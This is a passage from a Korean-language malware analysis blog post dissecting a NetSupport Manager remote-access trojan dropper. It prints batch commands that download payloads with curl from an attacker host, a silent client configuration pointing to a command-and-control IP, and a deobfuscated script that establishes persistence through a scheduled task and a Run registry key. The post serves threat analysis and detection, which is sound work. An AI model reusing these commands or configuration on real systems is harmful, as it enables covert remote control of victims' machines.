&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;(echo if not exist &quot;%tmp%/7z.exe&quot; ^( curl -k &quot;https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe&quot; -o &quot;C:\ProgramData\7zz.exe&quot; ^) &amp;amp; echo &quot;%tmp%/7zz.exe&quot;) &amp;gt; &quot;C:\ProgramData\7z.bat&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 스크립트도 마찬가지로 %tmp%/7z.exe가 없으면 동일한 url에서 7zz.exe를 설치하고 C:\ProgramData\7zz.exe 로 저장하는 스크립트를 C:\ProgramData\7z.bat에 생성한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;b3.vbs도 동일한 기능을 하고 %tmp%/2.bat이 없다면 동일한 url로 2.bat을 받아와 C:\ProgramData\2.bat으로 저장하는 스크립트를 C:\ProgramData\2.bat에 생성한다.&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;(echo if not exist &quot;%tmp%/2.bat&quot; ^( curl -k &quot;https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat&quot; -o &quot;C:\ProgramData\2.bat&quot; ^) &amp;amp; echo &quot;%tmp%/2.bat&quot;) &amp;gt; &quot;C:\ProgramData\2.bat&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 cmd.exe를 통해 저장한 batch 파일을 실행한다. 2.bat이 2번 실행되는것은 정확한 동작을 못했을것을 대비해 2번 실행한것으로 추측된다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;cmd.exe /c C:\ProgramData\sett.bat&quot;
cmd.exe /c C:\ProgramData\7z.bat&quot;
cmd.exe /c C:\ProgramData\2.bat&quot;
cmd.exe /c C:\ProgramData\2.bat&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가적으로 b*.vbs파일은 해당 스크립트에서는 실행되지않는것으로 추측된다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;sett.bat&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq1Yug/dJMcahpRqFK/IECxwlsFxItLUUZTAlF3J1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq1Yug/dJMcahpRqFK/IECxwlsFxItLUUZTAlF3J1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq1Yug/dJMcahpRqFK/IECxwlsFxItLUUZTAlF3J1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq1Yug%2FdJMcahpRqFK%2FIECxwlsFxItLUUZTAlF3J1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;178&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Malware bazaar에서 다운로드 받은 샘플을 압축 해제하면 위 사진과 같이 bat파일이 나온다. 해당 bat파일의 스크립트를 살펴보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1669&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJnLWV/dJMcagYL4jV/Ul0mKrVswNAKu4z2mpfVBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJnLWV/dJMcagYL4jV/Ul0mKrVswNAKu4z2mpfVBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJnLWV/dJMcagYL4jV/Ul0mKrVswNAKu4z2mpfVBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJnLWV%2FdJMcagYL4jV%2FUl0mKrVswNAKu4z2mpfVBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1669&quot; height=&quot;83&quot; data-origin-width=&quot;1669&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;taggerscript&quot;&gt;&lt;code&gt;if not exist &quot;C:\Users\admin\AppData\Local\Temp/document.jpg&quot; ( curl -k &quot;https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z&quot; -o &quot;C:\ProgramData\tempy.7z&quot; ) 
&quot;C:\Users\admin\AppData\Local\Temp/tempy.7z&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;505&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJFUhC/dJMb99SSXnC/vmQQGzlpQozVDKg3oC9ay0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJFUhC/dJMb99SSXnC/vmQQGzlpQozVDKg3oC9ay0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJFUhC/dJMb99SSXnC/vmQQGzlpQozVDKg3oC9ay0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJFUhC%2FdJMb99SSXnC%2FvmQQGzlpQozVDKg3oC9ay0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1217&quot; height=&quot;505&quot; data-origin-width=&quot;1217&quot; data-origin-height=&quot;505&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 실행을 시켜 어떤 파일을 다운로드 하는지 확인해볼려고 했지만 현재는 도메인이 정상적으로 작동하지 않는다. virustotal에 있는 분석 보고서를 통해 어떤 파일을 드랍하는지 확인 후 해당 해시를 가진 파일을 yaraify.abuse.ch에서 찾아 얻을수있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;419&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cu7OFi/dJMcafr1V3q/oykRmwO89Pam701Lyv2z5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cu7OFi/dJMcafr1V3q/oykRmwO89Pam701Lyv2z5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cu7OFi/dJMcafr1V3q/oykRmwO89Pam701Lyv2z5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcu7OFi%2FdJMcafr1V3q%2FoykRmwO89Pam701Lyv2z5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1106&quot; height=&quot;419&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일을 다운로드 하여 확장자를 7z로 변경하고 압축 해제 후 내부 파일을 확인했을때는 아래 사진과 같이 구성되어있다. 추가로 궁금해서 명령어로 7z파일을 실행시켰지만 별 일 없이 지나갔다. 악성코드 샘플만 가지고 분석을 할때는 어떠한 순서로 악성 행위를 했는지 알기 어려운거같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfLyVM/dJMcagkawY0/JkpMUbfOOew7Sw0Xn36f9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfLyVM/dJMcagkawY0/JkpMUbfOOew7Sw0Xn36f9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfLyVM/dJMcagkawY0/JkpMUbfOOew7Sw0Xn36f9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfLyVM%2FdJMcagkawY0%2FJkpMUbfOOew7Sw0Xn36f9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;425&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 표는 압축 해제한 파일에서 나온 파일들을 정리한 표이다. Cache*.dat파일은 0kb로 해시가 모두 같다.&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;b&gt;Filename&lt;/b&gt;&lt;/th&gt;
&lt;th&gt;&lt;b&gt;MD5&lt;/b&gt;&lt;/th&gt;
&lt;th&gt;&lt;b&gt;SHA256&lt;/b&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CacheDate.dat&lt;/td&gt;
&lt;td&gt;d41d8cd98f00b204e9800998ecf8427e&lt;/td&gt;
&lt;td&gt;e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CacheMD5.dat&lt;/td&gt;
&lt;td&gt;d41d8cd98f00b204e9800998ecf8427e&lt;/td&gt;
&lt;td&gt;e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CacheOther.dat&lt;/td&gt;
&lt;td&gt;d41d8cd98f00b204e9800998ecf8427e&lt;/td&gt;
&lt;td&gt;e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CacheURL.dat&lt;/td&gt;
&lt;td&gt;d41d8cd98f00b204e9800998ecf8427e&lt;/td&gt;
&lt;td&gt;e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;client32.exe&lt;/td&gt;
&lt;td&gt;f70b67c2b3204b7ddd8b755799cccff0&lt;/td&gt;
&lt;td&gt;213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;client32.ini&lt;/td&gt;
&lt;td&gt;99c9a23ca6754f0cf146a095e9e666d3&lt;/td&gt;
&lt;td&gt;ae1399c7b00710cdd7c119bee4b42c107bfee79c399b27a497a19094150f53ad&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HINTSS.txt&lt;/td&gt;
&lt;td&gt;a9ad5fb13439dcbba98490491c71b484&lt;/td&gt;
&lt;td&gt;ffb1559beeaec3262be121c2f41d3d15bf193531b7a2b9a73abfef6d805bd64f&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTCTL32.DLL&lt;/td&gt;
&lt;td&gt;c94005d2dcd2a54e40510344e0bb9435&lt;/td&gt;
&lt;td&gt;3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;msvcr100.dll&lt;/td&gt;
&lt;td&gt;0e37fbfa79d349d672456923ec5fbbe3&lt;/td&gt;
&lt;td&gt;8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nskbfltr.inf&lt;/td&gt;
&lt;td&gt;26e28c01461f7e65c402bdf09923d435&lt;/td&gt;
&lt;td&gt;d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NSM.ini&lt;/td&gt;
&lt;td&gt;88b1dab8f4fd1ae879685995c90bd902&lt;/td&gt;
&lt;td&gt;60fe386112ad51f40a1ee9e1b15eca802ced174d7055341c491dee06780b3f92&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NSM.LIC&lt;/td&gt;
&lt;td&gt;1b41e64c60ca9dfadeb063cd822ab089&lt;/td&gt;
&lt;td&gt;f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nsm_vpro.ini&lt;/td&gt;
&lt;td&gt;3be27483fdcdbf9ebae93234785235e3&lt;/td&gt;
&lt;td&gt;4bfa4c00414660ba44bddde5216a7f28aeccaa9e2d42df4bbff66db57c60522b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pcicapi.dll&lt;/td&gt;
&lt;td&gt;34dfb87e4200d852d1fb45dc48f93cfc&lt;/td&gt;
&lt;td&gt;2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PCICHEK.DLL&lt;/td&gt;
&lt;td&gt;104b30fef04433a2d2fd1d5f99f179fe&lt;/td&gt;
&lt;td&gt;956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PCICL32.DLL&lt;/td&gt;
&lt;td&gt;d3d39180e85700f72aaae25e40c125ff&lt;/td&gt;
&lt;td&gt;38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;putty.exe&lt;/td&gt;
&lt;td&gt;f838fdafd0881cf1e6040a07d78e840d&lt;/td&gt;
&lt;td&gt;fc6f9dbdf4b9f8dd1f5f3a74cb6e55119d3fe2c9db52436e10ba07842e6c3d7c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;remcmdstub.exe&lt;/td&gt;
&lt;td&gt;6fca49b85aa38ee016e39e14b9f9d6d9&lt;/td&gt;
&lt;td&gt;fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TCCTL32.DLL&lt;/td&gt;
&lt;td&gt;eab603d12705752e3d268d86dff74ed4&lt;/td&gt;
&lt;td&gt;6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순서대로 분석을 진행해보겠다. 우선 clinet32.exe Detect it easy나 pestudio를 통해 기본적인 정보를 얻는다. 해당 파일은 c++ 언어로 제작되어있다. 해당 프로그램은 NetSupport Manager(NSM) 원격 제어 및 데스크톱 관리 소프트웨어이다. 하지만 해당 정상 프로그램이 악성 사용자들에 의해 RAT으로 사용되고있다. (&lt;a href=&quot;https://attack.mitre.org/techniques/T1219/&quot;&gt;https://attack.mitre.org/techniques/T1219/&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로는 client32.ini파일이다. 해당 파일은 client32.exe의 클라이언트 설정 파일이다. 아래는 해당 파일의 내용이다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;0xd2aa09cb

[Client]
_present=1
AlwaysOnTop=1
DisableChat=1
DisableChatMenu=0
DisableClientConnect=0
DisableCloseApps=1
DisableDisconnect=0
DisableManageServices=1
DisableMessage=1
DisableReplayMenu=0
DisableRequestHelp=0
HideWhenIdle=1
Protocols=3
RoomSpec=Eval
ShowUIOnConnect=0
silent=1
SKMode=1
SOS_Alt=0
SOS_LShift=0
SOS_RShift=0
SysTray=0
UnloadMirrorOnDisconnect=1
Usernames=*

[_Info]
Filename=C:\Users\Administrator\Desktop\1\client32.ini

[_License]
quiet=1

[Audio]
DisableAudioFilter=1

[Bridge]
Modem=

[General]
BeepUsingSpeaker=0

[HTTP]
CMPI=60
GatewayAddress=5.252.178.48:443
GSK=GA;L@KDPHB&amp;lt;P@DDHGI;J@MCO
Port=443
SecondaryGateway=
SecondaryPort=&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 설정 파일을 보면 주요하게 볼만한 설정이 있다. 우선 SysTray=0 같은 경우 작업 표시줄 트레이에 아이콘을 표시하지 않는다. ShowUIOnConnect=0은 연결이 되어도 아무런 UI창을 띄우지 않는다는것이고, silent=1는 조용히 프로그램을 실행시킨다는 의미이다. HideWhenIdle=1은 대기 상태일 때도 숨김 모드를 유지하고 DisableChat=1, DisableMessage=1은 채팅이나 메시지 기능을 비활성화 하여 혹시라도 사용자에게 알림이 뜨는걸 방지한다. 추가로 GatewayAddress=5.252.178.48:443에 ip가 저장되어있는것을 볼 수 있다. 정상적인 프로그램이라면 원격 통신을 기다리거나 해야하는쪽인데 GatewayAddress가 저장되어있다는것은 실행 후 바로 연결할려는 의도로 보인다. 해당 IP를 Virustoal에 검사한 결과 악성 IP로 결과가 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;212&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lQ41Y/dJMcab4etT2/ctKrOlWGkwoSASIbecXxE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lQ41Y/dJMcab4etT2/ctKrOlWGkwoSASIbecXxE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lQ41Y/dJMcab4etT2/ctKrOlWGkwoSASIbecXxE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlQ41Y%2FdJMcab4etT2%2FctKrOlWGkwoSASIbecXxE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;830&quot; height=&quot;212&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;212&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지 프로그램 및 dll은 정상으로 추측된다. 다른 분석글을 확인하면 정상적인 프로그램으로 악성행위를 행한다고 확인된다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2.bat&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;89&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6HEY1/dJMcah4sN5B/puhioyrg3ah1CTOcB2wYvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6HEY1/dJMcah4sN5B/puhioyrg3ah1CTOcB2wYvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6HEY1/dJMcah4sN5B/puhioyrg3ah1CTOcB2wYvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6HEY1%2FdJMcah4sN5B%2Fpuhioyrg3ah1CTOcB2wYvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;558&quot; height=&quot;89&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;89&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;압축을 해제하면 bat파일이 하나 나온다. (파일 이름은 임의로 지정)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1347&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1lzom/dJMcah4sN8a/svppuNT068RssBRmLTkAH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1lzom/dJMcah4sN8a/svppuNT068RssBRmLTkAH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1lzom/dJMcah4sN8a/svppuNT068RssBRmLTkAH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1lzom%2FdJMcah4sN8a%2FsvppuNT068RssBRmLTkAH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1347&quot; height=&quot;470&quot; data-origin-width=&quot;1347&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 bat 파일을 notepad++로 열었을때는 이상한 언어로 나온다. 해당 파일이 난독화가 됐다는 사실을 알고있는 상태로 봐도 이상하기때문에 인코딩 문제라고 생각하고 HxD를 통해 확인했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blqJGl/dJMb99SSXpz/7rprqcn7IxcJG2XZWAbcW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blqJGl/dJMb99SSXpz/7rprqcn7IxcJG2XZWAbcW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blqJGl/dJMb99SSXpz/7rprqcn7IxcJG2XZWAbcW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblqJGl%2FdJMb99SSXpz%2F7rprqcn7IxcJG2XZWAbcW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;638&quot; height=&quot;431&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HxD로 확인한 결과 cls@set이라는 문자열이 확인된다. 또한 시작 바이트를 확인하면 FF FE라는 값이 존재하면 에디터는 UTF‑16 Little Endian(UTF‑16LE)로 해석할려고한다. 그렇기 때문에 2바이트씩 묶어서 해석하기 때문에 위 사진처럼 이상한 언어로 나온다. 해당 FF FE를 제거하고 저장 후 열어보면 정상적으로 보이는것을 확인 할 수 있다. 추가로 strings를 이용하여도 정상 문자열을 확인 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1699&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFnDXi/dJMcacB5tQU/lQEjS6fga73NENxC4ArYDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFnDXi/dJMcacB5tQU/lQEjS6fga73NENxC4ArYDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFnDXi/dJMcacB5tQU/lQEjS6fga73NENxC4ArYDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFnDXi%2FdJMcacB5tQU%2FlQEjS6fga73NENxC4ArYDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1699&quot; height=&quot;658&quot; data-origin-width=&quot;1699&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 명령어를 확인하면 첫 줄에 &amp;ldquo;&quot;횪쳉=sT9fZjlJkbqSePQx5u4rWp2B7@tiIYny1 MDcKavoGOXghAmzR836UHEd0wFVNCL&amp;rdquo;&amp;rdquo;라는 문자열을 선언한다. 이후 해당 문자열 변수에서 한 글자씩 추출하여 악성 스크립트를 완성한다. 아래는 난독화를 해제한 코드이다.&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;@cls
@set &quot;&amp;agrave;=sT9fZjlJkbqSePQx5u4rWp2B7@tiIYny1 MDcKavoGOXghAmzR836UHEd0wFVNCL&quot;
echo
@echo off
:: ssRb3Z623ffd2lfsRb
:: ssRb3Zfs3Z626fssRb
start /b /min xcopy /h /y 7zz.exe C:\ProgramData\
 start /b /min xcopy /h /y tempy.7z C:\ProgramData\
 start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z  -oC:\ProgramData\
[CHILD CMD]
        C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z  -oC:\ProgramData\
[END OF CHILD CMD]
 TIMEOUT /T 3
 start /b /min SCHTASKS /create /F /tn &quot;KAVYS&quot; /tr &quot;cmd.exe /c C:\ProgramData\client32.exe&quot; /sc minute /mo 8 /sd 01/01/2022 /st 00:00
 start /b /min cmd /c C:\ProgramData\client32.exe
[CHILD CMD]
        C:\ProgramData\client32.exe
[END OF CHILD CMD]
set VCARTS=HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query &quot;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; &amp;gt;nul 2&amp;gt;&amp;amp;1
  if  equ 0 (
    reg add &quot;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; /v &quot;KAVS&quot; /t REG_SZ /d &quot;C:\ProgramData\client32.exe&quot; /f
  )
  ::fs&lt;/code&gt;&lt;/pre&gt;
